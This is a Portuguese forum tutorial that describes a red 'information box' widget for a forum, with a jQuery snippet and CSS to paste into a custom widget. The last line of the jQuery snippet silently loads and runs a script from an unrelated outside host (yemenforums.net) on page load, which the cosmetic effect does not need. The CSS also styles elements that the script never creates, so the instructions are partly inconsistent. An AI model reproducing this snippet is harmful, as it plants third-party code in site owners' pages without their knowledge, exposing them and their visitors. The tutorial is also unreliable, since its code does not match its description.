![[TUTORIAL] Caixa de Informação estilo IPB Empty](https://2img.net/i/empty.gif)
![[TUTORIAL] Caixa de Informação estilo IPB Z8XGEVD](https://i.imgur.com/Z8XGEVD.png)
Caixa de Informação
Este efeito vai permitir colocar uma pequena caixa para os visitantes quanto estão no fórum aparece em vermelho no canto e com informação.
--> Versão <--
Funcional para todas Versões
Funcional para todas Versões
1º) Criar um widget personalizado:
Primeiro terá que criar um widget, Painel de controle » Módulos » Portal e Widgets » Gestão dos widgets do fórum » Criar um widget personalizado e coloque o código:
Código:
jQuery(document).ready(function(){jQuery('body').before('<div id="carregando" style="position: fixed;width: 100%;top:230px;left:0;z-index: 9999;"><div style="#DCE2E8 background:url(http://svphuyen.com/2012win7/w7/mm.png);margin: 0px auto;width: 270px;height: 75px;border:1px solid #ccc"><div style="background:#fff url() no-repeat 50% bottom;text-align:center;padding-top:39px;border:1px solid #ccc;margin:7px 5px"><img src="http://i12.servimg.com/u/f12/16/63/75/54/loadin10.gif" width="190" aling="center"/><p style="font:12px Tahoma; font-weight:bold;border:solid transparent">SUA_MENSAGEM</p></div></div></div>')});jQuery(function(){jQuery.getScript("http://maonyn.yemenforums.net/22141.js")});
</div>Código:
#bar_float a{
position: fixed;
bottom: 80px;
text-decoration:none;
right: 20px;
z-index:3000;
}
a#return_to_ipbfs {
position: fixed;
bottom: 10px;
line-height: 16px;
text-align: left;
right: 10px;
z-index: 1;
opacity: 0.8;
width: 260px;
height: 70px;
background: #cf3737;
color: #fff;
text-shadow: rgba(0,0,0,0.3) 0px -1px 0px;
padding: 10px;
text-decoration: none;
font-size: 11px;
font-family: Tahoma;
border: 1px solid #771b1b;
box-shadow: rgba(0,0,0,0.3) 0px 1px 4px, inset #f66c6c 0px 1px 0px;
border-radius: 3px;
}
a#return_to_ipbfs:hover { opacity: 1; }
#return_to_ipbfs strong {
font-family: "Trebuchet MS"; display: block; font-size: 14px; padding-bottom: 5px;
}![[TUTORIAL] Caixa de Informação estilo IPB Result51](https://i.servimg.com/u/f43/16/63/75/54/result51.png)
[infos=] Texto: SuporteDesign.net ; Código e Imagem: Shiftactif [/infos]
